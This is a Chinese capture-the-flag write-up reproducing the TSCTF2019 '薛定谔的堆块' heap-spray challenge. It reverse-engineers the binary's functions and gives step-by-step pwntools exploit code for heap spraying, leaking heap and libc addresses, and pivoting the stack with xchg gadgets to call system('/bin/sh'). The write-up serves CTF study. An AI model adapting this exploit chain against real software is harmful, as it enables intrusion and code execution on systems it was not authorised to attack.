TSCTF2019 薛定谔的堆块-HeapSpray

heapspray有很多的应用场景,但大多都是windows下的漏洞应用,关于Glibc的比较少,至今只看见两题:

pwnhub.cn 故事的开始 calc

TSCTF2019 薛定谔的堆块

这里参考第二篇文章针对第二题做个复现,理解下堆喷的思想。

1.函数理解

这里分析起来比较麻烦,最好就调试,直接给出相关的功能:

(1)Create函数:

  • 创建chunk,但每次Create会创建0x10个相同大小的chunk,且大小为输入size+4。比如输入size为0xc,那么创建的chunk就是0x10个0x18大小的Chunk。同时每0x10个小chunk在宏观意义上组成一个大chunk,这里用SmallChunk和BigChunk区分一下。

  • chunk的索引在全局数组dword_4060,chunkList中随机排列,比如idx为0的chunk不一定是第一个创建的。

img

img

这点在后面堆喷会用到,无法简单地通过打印值来判断heap地址,只能判断出在哪个BigChunk中,还得判断出某个SmallChunk在BigChunk中的位置才能泄露出堆地址。

  • 创建chunk读取数据时read_str函数里有\x00截断,所以Display在没有UAF的情况下难以泄露出地址,这里也不存在堆溢出。

  • 选择chunk类型时会给chunk_addr+size处赋值,这里就是之前申请size+4的原因。

img

这个赋予的值是一个ELF上的data数据地址,没啥用,迷惑用的,同时如果选择的选项不为1-4的话,就会不赋值,这个在后面很有用。

img

(2)Display函数:

比较常规,输出给定index范围的SmallChunk的内容

(3)Delete函数:

删除最后一次Create的BigChunk的所有SmallChunk,free数据且置指针NULL,没啥漏洞。但是这里删除是依据chunkList的顺序索引删除,而chunkList又是被打乱的,所以删除之后的顺序其实不是我们最开始输入数据的顺序,这个在后面unsortedbin泄露数据的时候需要注意一下。

(4)Modify函数:

编辑指定index的Small Block的内容,这里没啥用

(5)CallFunction函数:

根据Create时的最后那4byte的数值来决定执不执行某个函数指针(这个函数指针就是最开始创建的时候赋值的ELF上的数据)。

  • *(chunk_addr+size) != 0,则set ((chunk_addr+size)) -= 1

  • *(chunk_addr+size) == 0,则jmp ((chunk_addr+size))+0x4

img

img

这里调用CallFunction函数之后就可以调用到0xf7e87401,这里的*0x57d1ab8c是我们在堆上设置好的内容。

2.漏洞发现:

这里就结合Create函数,利用先申请填充内容之后再释放,使得*(chunk_addr+size)可控,从而能够调用任意函数。但是在保护全开的情况下想要调用函数,必须需要泄露地址,而地址在没有漏洞的情况下又没办法泄露。

堆喷原理:https://www.cnblogs.com/Fang3s/articles/3911561.html

(1)堆喷结合CallFunction函数的-1泄露地址:

假设某个堆地址:magic_addr。由于这里可以Display,所以如果*magic_addr= magic_addr-1,而利用堆喷使得一定范围内的堆内容都为magic_addr,打印内容之后,就可以依据打印的内容,能够从中筛选出magic_addr,获取其索引,再经过我们制造堆喷过程中运算就能得到开始堆喷的地址start_addr。

比如:magic_addr = 0x58585858,申请了0x100个0x20000大小的Chunk,那么得到索引为0x58,且magic_addr 也是一个0x20000的chunk,就可求得start_addr为0x58585858-0x58*0x20000。当然这是理论上的,实际还得一系列的判断运算。

同理,在当我们释放堆块进入unsortedbin之后,踩下main_arena地址再申请回来,由于\x00截断很难泄露出地址,这里也是采用这个方法,使得\x00-1成为0xff来把\x00截断给抹杀。

(2)getshell原理

有了地址之后就可调用libc上任意的函数了,这里的one_gadget都用不了,在没办法往栈上输入数据的情况下就需要栈劫持了,这里找两个gadget,原题给的是:

1
2
3
4
#注释头

magic_gadget1 = 0x00161871# 0x00161871 : xchg eax, ecx ; cld ; call dword ptr[eax]
magic_gadget2 = 0x00072e1a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;

我用我自己编译的Libc是:

1
2
3
4
#注释头

magic_gadget1 = 0x00164401# 0x00161871 : xchg eax, ecx ; cli ; jmp dword ptr[eax]
magic_gadget2 = 0x00073c10+0x3a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;

一样的,没啥区别,得自己找去。ROPgadget。

在调用jmp *(*(chunk_addr+size))+0x4时,看到context为

img

这里的ecx就保存这一个堆地址,那么我们就利用ecx和eax结合这两个gdaget来进行栈劫持,从而getshell。

3.exp编写:

(1)堆喷堆布局

填充数据在堆上,满足*magic_addr=magic_addr,且其他chunk的所有数据也为magic_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

#----------------------------------------
#fill 0x58 to all chunk
data = []
for i in range(0x10):
data.append(['X' * (0x20000 - 1), 1])
malloc(0x20000, data)
delete()

for i in range(0x10):
malloc(0x20000, data)

#idx 0x0->0x100-1
#----------------------------------------

(2)填充需要触发的chunk数据

满足*chunk_addr + size = magic_addr,然后调用callfuc函数使得*magic_addr= magic_addr-1,打印数据之后即可判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-----------------------------------------------
#fill 0x1000 all 0x58 (idx 0x100->0x110-1)
data = []
for i in range(0x10):
data.append(['X' * (0x1000 - 1), 1])
malloc(0x1000, data)
delete()


data = []
for i in range(0x10):
data.append(['X' * (0xf0 - 1), 0])
malloc(0xf0, data)
#idx 0x100->0x110-1


#0x100->0x110-1 OK
callfuc(0x100)
show(0, 0x100)
#-----------------------------------------------

(3)判断chunk基于的BigChunk索引:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#注释头

index = 0
offest = 0
out = ''
magic_addr = 0x58585858
for i in range(0x100):
out = p.recvline()
if 'W' in out:
index = i
break
out = out[12 : ]
offest = out.index('W')

log.info('magic_addr is : %d' % index)
log.info('offest is : %d' % offest)
log.info('start addr is : ' + hex(magic_addr- offest))
block_start = (index / 0x10) * 0x10

(4)计算chunk在BigChunk中的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#注释头

delete()
count = 1
p_index = 0
while 1:
log.info("start find prev block count = %d" % count)
data = []
for i in range(0x10):
data.append([p32(magic_addr - 0x20008 * count) * (0x1000 / 4 - 1),
1])
malloc(0x1000, data)
delete()

data = []
for i in range(0x10):
data.append(['X' * (0xa0 - 1), 0])
malloc(0xa0, data)

log.info("start call fuc count = %d" % count)
callfuc(0x100)
show(block_start - 0x10, index + 1)
p_index = 0
out = ''
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
if 'W' in out:
p_index = i + block_start - 0x10
break
delete()
if p_index < block_start:
break
count += 1


log.info('block start is : %d' % block_start)
log.info('p_index is : %d' % p_index)
heap_start_addr = magic_addr - 0x20008 * (count - 1 + 0x10 * (block_start / 0x10)) - offest - 8
log.info('heap start is : ' + hex(heap_start_addr))

同样的方法,依据地址顺序遍历BigChunk中的0x1-0x10的所有可能范围,对于修改*chunk_addr= magic_addr-1,然后打印判断得到各个索引对应的地址。由于创建的时候是random函数,所以也可以用爆破的方式解决,概率为1/16。

(5)获取libc地址

方法是释放之后使之进入unsortedbin踩下地址,利用callfuc函数和字节错位的方法对抗\x00截断从而泄露出地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

for i in range(0x10):
delete()

data = []
for i in range(0x10):
data.append([p32(heap_start_addr + 8 + 3 ) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()

data = []
for i in range(0x10):
data.append(['aaa', 0])
malloc(0xa0, data)
callfuc(0)
show(0, 0x10)
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
out = out[12 : -1]
if 'aaa' != out:
libc_addr = u32(out[4 : 8]) + 1 - 0x1b07b0
break
log.info('libc addr is : ' + hex(libc_addr))
delete()

img

img

img

这里的main_arena变化是因为0xedb7ab000变为了0xedb7afff,导致字节错位变化的,具体调试一下就知道

(6)劫持栈

结合gadget来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

magic_gadget1 = 0x00164401
#xchg eax, ecx ; cli ; jmp dword ptr[eax]
magic_gadget2 = 0x00073c10+0x3a
#xchg eax, esp ; sal bh, 0xd8 ;
system_offest = 0x3adb0
binsh_addr = 0x15bb0b
# gdb.attach(p)

data = []
for i in range(0x10):
data.append([p32(heap_start_addr + 12) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()

data = []
for i in range(0x10):
data.append([(p32(libc_addr + magic_gadget2) + p32(0) + p32(libc_addr
+ magic_gadget1) + p32(0) * 4 + p32(libc_addr + system_offest) + p32(0) +
p32(libc_addr + binsh_addr)).ljust(0xa0 -1, '\x00'), 0])
malloc(0xa0, data)
callfuc(0)
p.interactive()

这里关于最后堆上数据的布局需要调试才能知道,建议先随便写几个,然后调试的时候在写数据。

▲题外话:这里其实并没有用到常规意义上的通过堆喷滑板0x0c,0x58之类的滑板指令来执行shellcode或者ROP,所以其实这里的magic_addr换成0x57575757,0x56565656也是一样可以的,只不过成功率可能会小不少,毕竟这里还最开始申请了一个随机大小的堆块,而且PIE堆的随机化程度也大多在0x56到0x58之间。

4.总结:

  • 堆喷思想:其实就是多级指针的思想,通过劫持指针来滑动程序流或者泄露地址。

  • 调试:汇编指令一定要熟悉,像劫持栈常用的xchg eax,esp等。